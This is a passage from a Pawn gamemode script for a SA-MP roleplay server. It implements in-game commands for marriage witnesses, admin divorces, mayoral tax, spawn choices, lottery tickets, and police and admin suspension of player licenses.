							SendMessage(playerid, COLOR_GREY, "   That player is not near you !");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/witness",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) {
					SendMessage(playerid, COL_SYN, "Syntax: /witness <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Propose to yourself!"); return 1; }
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You requested %s to be your Marriage Witness.", giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s just requested you to be %s Marriage Witness (type /[acc]ept witness) to accept.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							SendMessage(giveplayerid, COLOR_WHITE, string);
							MarryWitnessOffer[giveplayerid] = playerid;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "   That player is not near you !");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/AdminDivorce", true) == 0 || strcmp(cmd, "/ADivorce", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) {
					SendMessage(playerid, COL_SYN, "Syntax: /adivorce <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(giveplayerid!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							ClearMarriage(giveplayerid);
							format(string, sizeof(string), "You have divorced %s", giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "Admin %s has divorced you", sendername);
							SendMessage(giveplayerid, COLOR_WHITE, string);
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has cleared %s's marriage.", sendername,giveplayer);
							ABroadCast(COLOR_AdminWarn,string,1);
							return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not Married to you !");
								return 1;
							}
						}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
					return 1;
				}
			return 1;
		}
		if(strcmp(cmd,"/settax",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pLeader] != 7)
				{
					SendMessage(playerid, COLOR_LIGHTGREEN, "You are not The Mayor.");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) {
					SendMessage(playerid, COL_SYN, "Syntax: /settax <Amount>");
					SCM(playerid,COL_SYN,"Syntax: use 0 to disable it.");
					return 1;
				}
				moneys = strval(tmp);
				if((moneys >= 1 && moneys <= 50) || moneys == 0)
				{
					Tax = moneys;
					SaveStuff();
					format(string, sizeof(string), "The Tax is $%s per player",FormatNumber(Tax));
					SendMessage(playerid, CRISTIAN, string);
				}
				else return SCM(playerid, COLOR_Good, "Tax may not be below 1$ or above 50$ or 0 to disable it");
			}
			return 1;
		}
	//---------------------------------------------------
		if(strcmp(cmd, "/spawnchange", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pPhousekey] != 9999)
				{
					if(SpawnChange[playerid])
					{
						SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at your normal place.");
						SpawnChange[playerid] = 0;
						if(IsAnInstructor(playerid))
						{
							if(SchoolSpawn[playerid] == 0)
							{
								SchoolSpawn[playerid] = 1;
								SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at the flying school.");
							}
							else if(SchoolSpawn[playerid] == 1)
							{
								SchoolSpawn[playerid] = 0;
								SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at the driving school.");
							}
						}
						if(IsAnTaxi(playerid))
						{
							if(TaxiSpawn[playerid] == 0)
							{
								TaxiSpawn[playerid] = 1;
								SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at the Los Santos.");
							}
							else if(TaxiSpawn[playerid] == 1)
							{
								TaxiSpawn[playerid] = 0;
								SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at Las Venturas.");
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_YELLOW, "Now you will spawn at own/rented house.");
						SpawnChange[playerid] = 1;
					}
				}
				else
				{
					if(IsAnInstructor(playerid))
					{
						if(SchoolSpawn[playerid] == 0)
						{
							SchoolSpawn[playerid] = 1;
							SendMessage(playerid, COLOR_GREY, "   You will now spawn at the Flying School !");
						}
						else if(SchoolSpawn[playerid] == 1)
						{
							SchoolSpawn[playerid] = 0;
							SendMessage(playerid, COLOR_GREY, "   You will now spawn at the Driving School !");
						}
					}
					if(IsAnTaxi(playerid))
					{
						if(TaxiSpawn[playerid] == 0)
						{
							TaxiSpawn[playerid] = 1;
							SendMessage(playerid, COLOR_GREY, "   You will now spawn at the Los Santos !");
						}
						else if(TaxiSpawn[playerid] == 1)
						{
							TaxiSpawn[playerid] = 0;
							SendMessage(playerid, COLOR_GREY, "   You will now spawn at the Las Venturas !");
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   You dont own / rent a House !");
						return 1;
					}
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/clothes", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] >= 1)
				{
					if(IsAtClothShop(playerid))
					{
					if(IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: Unknowns couldn't change their skin.");
						if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1) { ChosenSkin[playerid] = 71; SetPlayerSkin(playerid, 71); }
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2) { ChosenSkin[playerid] = 166; SetPlayerSkin(playerid, 166); }
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3) { ChosenSkin[playerid] = 385; SetPlayerSkin(playerid, 385); }
						else if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4) { ChosenSkin[playerid] = 274; SetPlayerSkin(playerid, 274); }
						else if(PlayerInfo[playerid][pMember] == 5 || PlayerInfo[playerid][pLeader] == 5) { ChosenSkin[playerid] = 121; SetPlayerSkin(playerid, 121); }
						else if(PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pLeader] == 6) { ChosenSkin[playerid] = 188; SetPlayerSkin(playerid, 188); }
						else if(PlayerInfo[playerid][pMember] == 8 || PlayerInfo[playerid][pLeader] == 8) { ChosenSkin[playerid] = 186; SetPlayerSkin(playerid, 186); }
						else if(PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9) { ChosenSkin[playerid] = 188; SetPlayerSkin(playerid, 188); }
						else if(PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10) { ChosenSkin[playerid] = 255; SetPlayerSkin(playerid, 255); }
						else if(PlayerInfo[playerid][pMember] == 11 || PlayerInfo[playerid][pLeader] == 11) { ChosenSkin[playerid] = 153; SetPlayerSkin(playerid, 153); }
						else if(PlayerInfo[playerid][pMember] == 12 || PlayerInfo[playerid][pLeader] == 12) { ChosenSkin[playerid] = 106; SetPlayerSkin(playerid, 106); }
						else if(PlayerInfo[playerid][pMember] == 13 || PlayerInfo[playerid][pLeader] == 13) { ChosenSkin[playerid] = 122; SetPlayerSkin(playerid, 122); }
						else if(PlayerInfo[playerid][pMember] == 14 || PlayerInfo[playerid][pLeader] == 14) { ChosenSkin[playerid] = 102; SetPlayerSkin(playerid, 102); }
						else if(PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15) { ChosenSkin[playerid] = 173; SetPlayerSkin(playerid, 173); }
						else if(PlayerInfo[playerid][pMember] == 16 || PlayerInfo[playerid][pLeader] == 16) { ChosenSkin[playerid] = 8; SetPlayerSkin(playerid, 8); }
						else { return 1; }
						GetPlayerPos(playerid, ChangePos[playerid][0],ChangePos[playerid][1],ChangePos[playerid][2]);
						ChangePos2[playerid][0] = GetPlayerInterior(playerid);
						ChangePos2[playerid][1] = 1;
						SetPlayerInterior(playerid,0);
						new rand = random(sizeof(gInviteSpawns));
						new member = PlayerInfo[playerid][pMember];
						SetPlayerPos(playerid, gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]); // Warp the player
						SetPlayerFacingAngle(playerid, gInviteSpawns[rand][3]);
						SetPlayerCameraPos(playerid,gInviteSpawns[rand][0] + 3, gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
						SetPlayerCameraLookAt(playerid,gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
						TogglePlayerControllable(playerid, 0);
						SelectCharID[playerid] = member;
						SelectCharPlace[playerid] = 1;
						PlayerInfo[playerid][fSkin] = ChosenSkin[playerid];
						SaveKonVal(playerid, "fSkin", ChosenSkin[playerid]);
						ShowPlayerDialog(playerid, 427, DIALOG_STYLE_MSGBOX,"Clothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");
						TogglePlayerControllable(playerid, 1);
					}
					else
					{
						SendMessage(playerid, COLOR_GRAD2, "** You are not in a Clothing Shop !");
						return 1;
					}
				}
				else
				{
					if(PlayerInfo[playerid][pLeader] >= 1)
					{
						SendMessage(playerid, COLOR_GRAD2, "** You can't change your clothes while you are a leader !");
						return 1;
					}
					return SCM(playerid, COLOR_SINA3, "You are not a member of any faction.");
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/lotto", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pLottoNr] > 0)
				{
					SendMessage(playerid, COLOR_GREY, "** You already have a Lottery Ticket !");
					return 1;
				}
				if(GetPlayerPool(playerid) < 150)
				{
					SendMessage(playerid, COLOR_GREY, "** You need $150 for a Lottery Ticket !");
					return 1;
				}
				new rands = RandomShomare(1,80);
				format(string, sizeof(string), "You bought a Lottery Ticket with number: %d.", rands);
				SendMessage(playerid, COLOR_YELLOW, string);
				GivePlayerPool(playerid, -150);
				GameTextForPlayer(playerid, "~r~-$150", 5000, 1);
				PlayerInfo[playerid][pLottoNr] = rands;
				SaveKonVal(playerid, "pLottoNr", rands);
			}
			return 1;
		}
		if(strcmp(cmd, "/suspend", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAPDMember(playerid))
				{
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr)) {
						SendMessage(playerid, CRISTIAN, "|__________________ Suspend Licenses __________________|");
						SendMessage(playerid, COLOR_WHITE, "Type: /suspend [licensename] <Playerid/PartOfName> [hours]");
						SendMessage(playerid, COLOR_GREY, "Available names: Driving, Flying, Boating, Weapons, Materials");
						SendMessage(playerid, CRISTIAN, "|___________________________________________________|");
						return true;
					}
					else if(strcmp(x_nr,"Flying",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COLOR_WHITE, "Type: /suspend flying <Playerid/PartOfName> [hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pFlyLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a flying license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
									format(string, sizeof(string), "You have suspended %s's Fly License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Officer %s has suspended your Fly License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									PlayerInfo[giveplayerid][pFlyLic] = 0;
									PlayerInfo[giveplayerid][pFlyLicS] = stime;
									SaveKonVal(giveplayerid, "pFlyLic", 0);
									SaveKonVal(giveplayerid, "pFlyLicS", stime);
								}
								else
								{
									SendMessage(playerid, COLOR_LIGHTRED, "That player is not near you");
									return true;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"Boating",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COLOR_WHITE, "Type: /suspend boating <Playerid/PartOfName> [hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pBoatLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Boat license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
									format(string, sizeof(string), "You have suspended %s's Boating License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Officer %s has suspended your Boating License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									PlayerInfo[giveplayerid][pBoatLic] = 0;
									PlayerInfo[giveplayerid][pBoatLicS] = stime;
									SaveKonVal(giveplayerid, "pBoatLic", 0);
									SaveKonVal(giveplayerid, "pBoatLicS", stime);
								}
								else
								{
									SendMessage(playerid, COLOR_LIGHTRED, "That player is not near you");
									return true;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"materials",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COLOR_WHITE, "Type: /suspend materials <Playerid/PartOfName> [hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pMatsLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a materials license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
									format(string, sizeof(string), "You have suspended %s's Materials License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Officer %s has suspended your Materials License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									PlayerInfo[giveplayerid][pMatsLic] = 0;
									PlayerInfo[giveplayerid][pMatsLicS] = stime;
									SaveKonVal(giveplayerid, "pMatsLic", 0);
									SaveKonVal(giveplayerid, "pMatsLicS", stime);
								}
								else
								{
									SendMessage(playerid, COLOR_LIGHTRED, "That player is not near you");
									return true;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"Weapons",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COLOR_WHITE, "Type: /suspend weapons <Playerid/PartOfName> [hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pGunLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Weapon license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
									format(string, sizeof(string), "You have suspended %s's Weapons License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Officer %s has suspended your Weapons License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									PlayerInfo[giveplayerid][pGunLic] = 0;
									PlayerInfo[giveplayerid][pGunLicS] = stime;
									SaveKonVal(giveplayerid, "pGunLic", 0);
									SaveKonVal(giveplayerid, "pGunLicS", stime);
								}
								else
								{
									SendMessage(playerid, COLOR_LIGHTRED, "That player is not near you");
									return true;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"driving",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COLOR_WHITE, "Type: /suspend driving <Playerid/PartOfName> [hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pCarLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Driving license to suspend.");
							return true;
						}
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
									format(string, sizeof(string), "You have suspended %s's Driving License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Officer %s has suspended your Driving License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									PlayerInfo[giveplayerid][pCarLic] = 0;
									PlayerInfo[giveplayerid][pCarLicS] = stime;
									SaveKonVal(giveplayerid, "pCarLic", 0);
									SaveKonVal(giveplayerid, "pCarLicS", stime);
								}
								else
								{
									SendMessage(playerid, COLOR_WHITE, "That player is not near you");
									return true;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_LIGHTRED, "Unknown Suspend name");
						return true;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Police Department.");
					return true;
				}
			}
			return true;
		}
		if(strcmp(cmd, "/asl", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pAdmin] > 0)
				{
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr)) {
						//SendMessage(playerid, CRISTIAN, "|__________________ Suspend Licenses __________________|");
						SendMessage(playerid, COL_SYN, "Syntax: /asl [LicenseName] <Playerid/PartOfName> [Hours]");
						SendMessage(playerid, COLOR_GREY, "Available names: Driving, Flying, Boating, Weapons, Materials");
						//SendMessage(playerid, CRISTIAN, "|___________________________________________________|");
						return true;
					}
					else if(strcmp(x_nr,"Flying",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /asl Flying <Playerid/PartOfName> [Hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pFlyLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a flying license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
									format(string, sizeof(string), "You have suspended %s's Fly License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Admin %s has suspended your Fly License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "{FFFFFF}Admin %s has suspended %s's flying license for %d hours.", sendername, giveplayer, stime);
									AdminWarn(string);
									PlayerInfo[giveplayerid][pFlyLic] = 0;
									PlayerInfo[giveplayerid][pFlyLicS] = stime;
									SaveKonVal(giveplayerid, "pFlyLic", 0);
									SaveKonVal(giveplayerid, "pFlyLicS", stime);
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"Boating",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /asl Boating <Playerid/PartOfName> [Hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pBoatLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Boat license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
									format(string, sizeof(string), "You have suspended %s's Boating License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Admin %s has suspended your Boating License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "{FFFFFF}Admin %s has suspended %s's boating license for %d hours.", sendername, giveplayer, stime);
									AdminWarn(string);
									PlayerInfo[giveplayerid][pBoatLic] = 0;
									PlayerInfo[giveplayerid][pBoatLicS] = stime;
									SaveKonVal(giveplayerid, "pBoatLic", 0);
									SaveKonVal(giveplayerid, "pBoatLicS", stime);
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"materials",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /asl Materials <Playerid/PartOfName> [Hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pMatsLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a materials license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
									format(string, sizeof(string), "You have suspended %s's Materials License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Admin %s has suspended your Materials License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "{FFFFFF}Admin %s has suspended %s's materials license for %d hours.", sendername, giveplayer, stime);
									AdminWarn(string);
									PlayerInfo[giveplayerid][pMatsLic] = 0;
									PlayerInfo[giveplayerid][pMatsLicS] = stime;
									SaveKonVal(giveplayerid, "pMatsLic", 0);
									SaveKonVal(giveplayerid, "pMatsLicS", stime);
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"Weapons",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /asl Weapons <Playerid/PartOfName> [Hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pGunLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Weapon license to suspend.");
							return true;
						}

						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
									format(string, sizeof(string), "You have suspended %s's Weapons License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Admin %s has suspended your Weapons License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "{FFFFFF}Admin %s has suspended %s's weapons license for %d hours.", sendername, giveplayer, stime);
									AdminWarn(string);
									PlayerInfo[giveplayerid][pGunLic] = 0;
									PlayerInfo[giveplayerid][pGunLicS] = stime;
									SaveKonVal(giveplayerid, "pGunLic", 0);
									SaveKonVal(giveplayerid, "pGunLicS", stime);
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
							return true;
						}
					}
					else if(strcmp(x_nr,"driving",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /asl Driving <Playerid/PartOfName> [Hours]");
							return true;
						}
						giveplayerid = ReturnUser6(tmp);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new stime = 1;
						tmp = strtok(cmdtext, idx);
						stime = strval(tmp);

						if(stime < 1 || stime > 5)
						{
							SendMessage(playerid, COL_SYN, "Hours must be no lower than 1 and no higher than 5.");
							return true;
						}

						if (PlayerInfo[giveplayerid][pCarLic] == 0)
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player hasen't a Driving license to suspend.");
							return true;
						}
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
									format(string, sizeof(string), "You have suspended %s's Driving License for %d hours.", giveplayer, stime);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "Admin %s has suspended your Driving License for %d hours.", sendername, stime);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "{FFFFFF}Admin %s has suspended %s's driving license for %d hours.", sendername, giveplayer, stime);
									AdminWarn(string);
									PlayerInfo[giveplayerid][pCarLic] = 0;
									PlayerInfo[giveplayerid][pCarLicS] = stime;
									SaveKonVal(giveplayerid, "pCarLic", 0);
									SaveKonVal(giveplayerid, "pCarLicS", stime);
							}
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "That player is Offline");
